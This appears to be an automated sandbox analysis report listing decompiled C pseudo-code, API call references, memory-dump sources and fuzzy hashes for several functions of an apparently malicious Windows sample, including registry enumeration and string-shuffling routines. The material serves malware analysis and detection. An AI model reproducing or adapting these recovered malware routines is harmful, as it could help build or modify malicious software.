0x0463875f
0x046385e3
0x046385e8
0x046385ef
0x0463873e
0x04638741
0x00000000
0x04638741
0x046385f5
0x046385fa
0x046385fd
0x04638602
0x04638607
0x04638650
0x04638650
0x04638663
0x04638666
0x0463866d
0x04638673
0x0463867a
0x04638684
0x04638684
0x0463867c
0x0463867c
0x0463867c
0x0463867c
0x046386a6
0x046386ae
0x046386dc
0x046386e1
0x046386e8
0x046386ed
0x046386f1
0x04638723
0x046386f3
0x04638700
0x04638703
0x04638713
0x04638716
0x0463871c
0x0463871c
0x046386b0
0x046386bd
0x046386c0
0x046386d2
0x046386d5
0x046386d5
0x0463872d
0x04638739
0x0463872f
0x04638732
0x04638732
0x0463872d
0x046386a6
0x00000000
0x0463866d
0x04638616
0x04638619
0x04638620
0x04638626
0x04638629
0x0463862b
0x04638637
0x0463863a
0x0463863a
0x04638640
0x04638645
0x04638645
0x0463864b
0x00000000
0x0463864b
0x04638559
0x00000000
0x04638580
0x04638580
0x0463858c
0x0463859f
0x046385a5
0x046385ad
0x00000000
0x046385ad

APIs

StrChrA.SHLWAPI(04633741,0000005F,00000000,00000000,00000104), ref: 04638572
lstrcpy.KERNEL32(?,?), ref: 0463859F

Part of subcall function 04639070: lstrlen.KERNEL32(?,00000000,05169A98,00000000,04638808,05169C76,?,?,?,?,?,63699BC3,00000005,0463D00C), ref: 04639077
Part of subcall function 04639070: mbstowcs.NTDLL ref: 046390A0
Part of subcall function 04639070: memset.NTDLL ref: 046390B2

Part of subcall function 04635D7D: lstrlenW.KERNEL32(?,?,?,04638708,3D0463C0,80000002,04633741,0463A513,74666F53,4D4C4B48,0463A513,?,3D0463C0,80000002,04633741,?), ref: 04635DA2

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

lstrcpy.KERNEL32(?,00000000), ref: 046385C1

Strings

\, xrefs: 046385A5
(, xrefs: 04638622

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: 96fdcda6e1466932984420e1a63c9b24e8a9ac74271663ab455eea2f9bd53d1f
Instruction ID: c91054dfa92d927d0505fffaa54d0c333a784f4e309bd68aadbe09bdb6c5c324
Opcode Fuzzy Hash: 96fdcda6e1466932984420e1a63c9b24e8a9ac74271663ab455eea2f9bd53d1f
Instruction Fuzzy Hash: F4514A76100289AFEF21AF60DD40DEE77BAEB14346F104518F95157260F739ED15EB50

Uniqueness

Uniqueness Score: -1.00%

Function 04635BA2, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E04635BA2(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04636C09();
				if(_t21 != 0) {
					_t59 =  *0x463d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x463d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x463d160(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E0463496B( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x463d2a8; // 0xb2a5a8
					if( *0x463d25c > 5) {
						_t8 = _t26 + 0x463e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x463e9f5; // 0x44283a44
						_t27 = _t7;
					}
					E0463729A(_t27, _t27);
					_t31 = E0463232F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x463d270 =  *0x463d270 ^ 0x81bbe65d;
						_t32 = E0463A71F(0x60);
						 *0x463d32c = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x463d32c; // 0x51695b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x463d32c; // 0x51695b0
							 *_t51 = 0x463e81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x463d238, 0, 0x43);
							 *0x463d2c8 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x463d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x463d2a8; // 0xb2a5a8
								_t13 = _t58 + 0x463e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x463c287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04639135( ~_v8 &  *0x463d270, 0x463d00c); // executed
								_t42 = E0463888E(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E046387AE(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E046351B0(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E04631C66(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x463d15c();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0463A273(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x04635ba2
0x04635bad
0x04635bb0
0x04635bb3
0x04635bb6
0x04635bbd
0x04635bbf
0x04635bcb
0x04635bcd
0x04635bcd
0x04635bd6
0x04635bdc
0x04635be1
0x04635bfb
0x04635c07
0x04635c09
0x04635c0e
0x04635c18
0x04635c18
0x04635c10
0x04635c10
0x04635c10
0x04635c10
0x04635c1f
0x04635c2c
0x04635c33
0x04635c38
0x04635c38
0x04635c40
0x04635c43
0x04635c69
0x04635c75
0x04635c7a
0x04635c7f
0x04635c81
0x04635cad
0x04635caf
0x04635c83
0x04635c87
0x04635c8c
0x04635c91
0x04635c98
0x04635c9e
0x04635ca3
0x04635ca9
0x04635cb0
0x04635cb2
0x04635cb4
0x04635cc3
0x04635cc9
0x04635cce
0x04635cd0
0x04635d00
0x04635d02
0x04635cd2
0x04635cd2
0x04635cd8
0x04635ce5
0x04635ceb
0x04635ceb
0x04635cf3
0x04635cfc
0x04635d03
0x04635d05
0x04635d07
0x04635d0e
0x04635d1b
0x04635d20
0x04635d25
0x04635d27
0x04635d29
0x00000000
0x00000000
0x04635d2b
0x04635d30
0x04635d32
0x04635d39
0x04635d3d
0x04635d40
0x04635d55
0x04635d59
0x04635d5e
0x00000000
0x04635d5e
0x04635d42
0x04635d44
0x00000000
0x00000000
0x04635d4f
0x04635d51
0x04635d53
0x00000000
0x00000000
0x00000000
0x04635d53
0x04635d36
0x04635d36
0x04635d07
0x04635c45
0x04635c45
0x04635c4a
0x04635d60
0x04635d64
0x04635d6c
0x04635d6c
0x00000000
0x04635d64
0x04635c50
0x04635c53
0x04635c5d
0x04635c64
0x00000000
0x04635d74
0x04635d74
0x04635d78
0x04635d7c
0x04635d7c

APIs

Part of subcall function 04636C09: GetModuleHandleA.KERNEL32(4C44544E,00000000,04635BBB,00000000,00000000), ref: 04636C18

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04635C38

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

memset.NTDLL ref: 04635C87
RtlInitializeCriticalSection.NTDLL(05169570), ref: 04635C98

Part of subcall function 04631C66: memset.NTDLL ref: 04631C7B
Part of subcall function 04631C66: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04631CBD
Part of subcall function 04631C66: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 04631CC8

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04635CC3
wsprintfA.USER32 ref: 04635CF3

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: b6c2568629773493d7a2ca8e81c6435a876f206a3349da6862036c202f06f430
Instruction ID: a4e7a313ceac5a5f45394f4fc0abf13df5bffe2af05a1fdf9e5ff78f1cdc3b89
Opcode Fuzzy Hash: b6c2568629773493d7a2ca8e81c6435a876f206a3349da6862036c202f06f430
Instruction Fuzzy Hash: 8F5173B1A00294BBEB21EFA4D888B5E77A8EB14B17F44441AF502D7240F779BD458B98

Uniqueness

Uniqueness Score: -1.00%

Function 046362DA, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E046362DA(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E0463A71F(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E0463A734(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E0463A71F((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x463d278 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x046362e1
0x046362e8
0x046362ed
0x046362f0
0x046362f7
0x046362fa
0x046362fd
0x04636302
0x04636307
0x0463645b
0x0463645d
0x0463645f
0x04636464
0x04636464
0x0463630d
0x04636310
0x04636313
0x04636315
0x04636315
0x04636319
0x00000000
0x00000000
0x0463631d
0x04636349
0x0463634e
0x04636350
0x04636350
0x04636353
0x04636356
0x04636356
0x04636358
0x00000000
0x04636323
0x04636325
0x04636344
0x04636344
0x0463635b
0x0463635b
0x0463635c
0x0463635c
0x0463635f
0x00000000
0x00000000
0x00000000
0x0463635f
0x04636329
0x04636370
0x04636374
0x0463644e
0x04636450
0x04636450
0x04636451
0x04636454
0x00000000
0x04636454
0x0463637d
0x0463638e
0x04636392
0x0463644a
0x00000000
0x0463644a
0x04636398
0x0463639b
0x0463639f
0x046363a3
0x046363a8
0x04636440
0x04636440
0x00000000
0x04636446
0x046363b3
0x046363bc
0x046363d0
0x046363d7
0x046363ec
0x046363f2
0x046363fa
0x00000000
0x00000000
0x00000000
0x00000000
0x046363fc
0x046363fc
0x046363fc
0x04636403
0x0463640b
0x00000000
0x00000000
0x0463640d
0x04636416
0x00000000
0x00000000
0x00000000
0x04636418
0x0463641a
0x0463641d
0x0463641d
0x04636420
0x04636424
0x04636427
0x0463642d
0x04636430
0x04636437
0x00000000
0x046363b3
0x0463632e
0x04636336
0x0463633c
0x0463633e
0x0463633e
0x04636341
0x04636343
0x00000000
0x04636343
0x0463631d
0x04636363
0x04636368
0x0463636a
0x0463636a
0x0463636d
0x0463636d
0x00000000

APIs

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

lstrcpy.KERNEL32(63699BC4,00000020), ref: 046363D7
lstrcat.KERNEL32(63699BC4,00000020), ref: 046363EC
lstrcmp.KERNEL32(00000000,63699BC4), ref: 04636403
lstrlen.KERNEL32(63699BC4), ref: 04636427

Strings

, xrefs: 04636370

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: 0a5303905fc427d6862c087ecaffbf114fce178a5d55292bfd6f98c629164dcc
Instruction ID: abdb19840e261697266a80cbea960a6a90def5c9cae6bb0024090f32dbcc5c48
Opcode Fuzzy Hash: 0a5303905fc427d6862c087ecaffbf114fce178a5d55292bfd6f98c629164dcc
Instruction Fuzzy Hash: BE51C471A00288FBDF21CF99C4846ADBBB6FF51316F14C05AE9559B202E771FA52CB40

Uniqueness

Uniqueness Score: -1.00%

Function 04633AB0, Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 04633B0D
SysAllocString.OLEAUT32(046385ED), ref: 04633B51
SysFreeString.OLEAUT32(00000000), ref: 04633B65
SysFreeString.OLEAUT32(00000000), ref: 04633B73

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 8c17912eb00aef32b8d02ef206d436e8c024b1fcdb4ce903fd7d2d55f8b9aa31
Instruction ID: 047e8dd7af94f4bd351c246fe6611f83ea459d4ac47194e82364de6b2587d2b2
Opcode Fuzzy Hash: 8c17912eb00aef32b8d02ef206d436e8c024b1fcdb4ce903fd7d2d55f8b9aa31
Instruction Fuzzy Hash: 81311272900289EFCB04DF98D8C49AE7BB9FF58301B10845EF90697351E735A981CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0463A446, Relevance: 6.1, APIs: 4, Instructions: 98
registrysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463A446(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E0463A71F(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32); // executed
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E0463A734(_v28);
							goto L17;
						}
						_t42 = E0463853F(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E0463A734(_v24);
						_v20 = _v16;
						_t47 = E0463A71F(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x463d26c, 0) == 0x102);
				goto L16;
			}

0x0463a446
0x0463a460
0x0463a463
0x0463a466
0x0463a469
0x0463a46c
0x0463a472
0x0463a476
0x0463a550
0x0463a554
0x0463a554
0x0463a47f
0x0463a486
0x0463a48b
0x0463a490
0x0463a545
0x0463a548
0x00000000
0x0463a54e
0x0463a496
0x0463a499
0x0463a4a0
0x0463a4aa
0x0463a4b3
0x0463a4b9
0x0463a4c1
0x0463a4f9
0x0463a533
0x0463a539
0x0463a53b
0x0463a53b
0x0463a53d
0x0463a540
0x00000000
0x0463a540
0x0463a50e
0x0463a513
0x0463a517
0x00000000
0x00000000
0x00000000
0x0463a517
0x0463a4c6
0x0463a4d5
0x00000000
0x00000000
0x0463a4da
0x0463a4e3
0x0463a4e6
0x0463a4eb
0x0463a4f0
0x0463a4cb
0x0463a4cb
0x00000000
0x0463a4cb
0x0463a4f4
0x00000000
0x0463a4f4
0x0463a4c8
0x00000000
0x0463a519
0x0463a526
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04633741,?), ref: 0463A46C

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

RegEnumKeyExA.KERNELBASE(?,?,?,04633741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04633741), ref: 0463A4B3
WaitForSingleObject.KERNEL32(00000000,?,?,?,04633741,?,04633741,?,?,?,?,?,04633741,?), ref: 0463A520
RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04633741,?,?,?,?,046352AA,?,00000001), ref: 0463A548

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCloseEnumHeapObjectOpenSingleWait
String ID:
API String ID: 3664505660-0
Opcode ID: 3cdbe12dff5dff1cda719f2f6820bf2022c5c145dc9a06754acf33ad5d3180ee
Instruction ID: dc1d43add2e6089a3d5da8d8ca8077cc3b474723a24bf537e45bf0d7fd4677c0
Opcode Fuzzy Hash: 3cdbe12dff5dff1cda719f2f6820bf2022c5c145dc9a06754acf33ad5d3180ee
Instruction Fuzzy Hash: 14319E76C00259EBCF21AFE4DC849EEFBB9EB94722F104026E591B3250E3345E41EB90

Uniqueness

Uniqueness Score: -1.00%

Function 046336B1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E046336B1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E04633BB9(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E04634F79(_t23);
						}
					}
					return _t38;
				}
				_t26 = E0463A2F9(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x463d2ac, 1, 0,  *0x463d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					FindCloseChangeNotification(_t40); // executed
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E0463A446(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E0463853F(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04634F14(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E046311EE( &_v32, _t39);
					goto L13;
				}
			}

0x046336b1
0x046336be
0x046336c4
0x046336c5
0x046336c6
0x046336c7
0x046336c8
0x046336cc
0x046336d3
0x046336d8
0x046336dc
0x04633764
0x04633764
0x04633767
0x04633769
0x04633771
0x04633771
0x04633777
0x0463377a
0x0463377a
0x04633777
0x04633785
0x04633785
0x046336e8
0x046336ef
0x046336f1
0x046336f1
0x04633708
0x0463370c
0x0463370f
0x0463371a
0x04633721
0x04633721
0x0463372a
0x0463372e
0x0463373c
0x04633730
0x04633730
0x04633731
0x04633732
0x04633733
0x04633734
0x04633735
0x04633735
0x04633741
0x04633744
0x04633748
0x0463374a
0x0463374a
0x04633751
0x00000000
0x04633753
0x04633753
0x04633760
0x00000000
0x04633760

APIs

CreateEventA.KERNEL32(0463D2AC,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,046352AA,?,00000001,?), ref: 04633702
SetEvent.KERNEL32(00000000,?,?,?,046352AA,?,00000001,?,00000002,?,?,04635D5E,?), ref: 0463370F
Sleep.KERNELBASE(00000BB8,?,?,?,046352AA,?,00000001,?,00000002,?,?,04635D5E,?), ref: 0463371A
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,046352AA,?,00000001,?,00000002,?,?,04635D5E,?), ref: 04633721

Part of subcall function 0463A446: RegOpenKeyExA.KERNELBASE(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04633741,?), ref: 0463A46C
Part of subcall function 0463A446: RegEnumKeyExA.KERNELBASE(?,?,?,04633741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04633741), ref: 0463A4B3
Part of subcall function 0463A446: WaitForSingleObject.KERNEL32(00000000,?,?,?,04633741,?,04633741,?,?,?,?,?,04633741,?), ref: 0463A520
Part of subcall function 0463A446: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04633741,?,?,?,?,046352AA,?,00000001), ref: 0463A548

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$ChangeCreateEnumFindNotificationObjectOpenSingleSleepWait
String ID:
API String ID: 780868161-0
Opcode ID: d10ed27e94673cabaee68829a8295898e7bfe43823ea804930acdcbeb2850a05
Instruction ID: c2462a4ceb341291d6edca98e5c126b7736dc0eb7610d697f17fa7c02b1e1fe6
Opcode Fuzzy Hash: d10ed27e94673cabaee68829a8295898e7bfe43823ea804930acdcbeb2850a05
Instruction Fuzzy Hash: A92198B39002D5ABDB10BFE488C48EEB7B9DB54356B054429FE11E7300F735B9858BA4

Uniqueness

Uniqueness Score: -1.00%

Function 04638BC1, Relevance: 6.1, APIs: 4, Instructions: 80
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04638BC1(int _a4, int _a8, void* _a12, short* _a16, char** _a20, intOrPtr* _a24) {
				long _t26;
				intOrPtr* _t38;
				char* _t42;
				long _t43;

				if(_a4 == 0) {
					L2:
					_t26 = RegOpenKeyW(_a8, _a12,  &_a12); // executed
					_t43 = _t26;
					if(_t43 == 0) {
						RegQueryValueExW(_a12, _a16, 0,  &_a8, 0,  &_a4); // executed
						if(_a4 == 0) {
							_t43 = 0xe8;
						} else {
							_t42 = E0463A71F(_a4);
							if(_t42 == 0) {
								_t43 = 8;
							} else {
								_t43 = RegQueryValueExW(_a12, _a16, 0,  &_a8, _t42,  &_a4);
								if(_t43 != 0) {
									E0463A734(_t42);
								} else {
									 *_a20 = _t42;
									_t38 = _a24;
									if(_t38 != 0) {
										 *_t38 = _a4;
									}
								}
							}
						}
						RegCloseKey(_a12); // executed
					}
					L12:
					return _t43;
				}
				_t43 = E04638B1C(_a4, _a8, _a12, _a16, _a20, _a24);
				if(_t43 == 0) {
					goto L12;
				}
				goto L2;
			}

0x04638bcd
0x04638bf0
0x04638bfa
0x04638c00
0x04638c04
0x04638c1c
0x04638c21
0x04638c69
0x04638c23
0x04638c2b
0x04638c2f
0x04638c66
0x04638c31
0x04638c43
0x04638c47
0x04638c5d
0x04638c49
0x04638c4c
0x04638c4e
0x04638c53
0x04638c58
0x04638c58
0x04638c53
0x04638c47
0x04638c2f
0x04638c71
0x04638c71
0x04638c78
0x04638c7e
0x04638c7e
0x04638be6
0x04638bea
0x00000000
0x00000000
0x00000000

APIs

RegOpenKeyW.ADVAPI32(80000002,05169B66,05169B66), ref: 04638BFA
RegQueryValueExW.KERNELBASE(05169B66,?,00000000,80000002,00000000,00000000,?,0463861E,3D0463C0,80000002,04633741,00000000,04633741,?,05169B66,80000002), ref: 04638C1C
RegQueryValueExW.ADVAPI32(05169B66,?,00000000,80000002,00000000,00000000,00000000,?,0463861E,3D0463C0,80000002,04633741,00000000,04633741,?,05169B66), ref: 04638C41
RegCloseKey.KERNELBASE(05169B66,?,0463861E,3D0463C0,80000002,04633741,00000000,04633741,?,05169B66,80000002,00000000,?), ref: 04638C71

Part of subcall function 04638B1C: SafeArrayDestroy.OLEAUT32(00000000), ref: 04638BA4

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

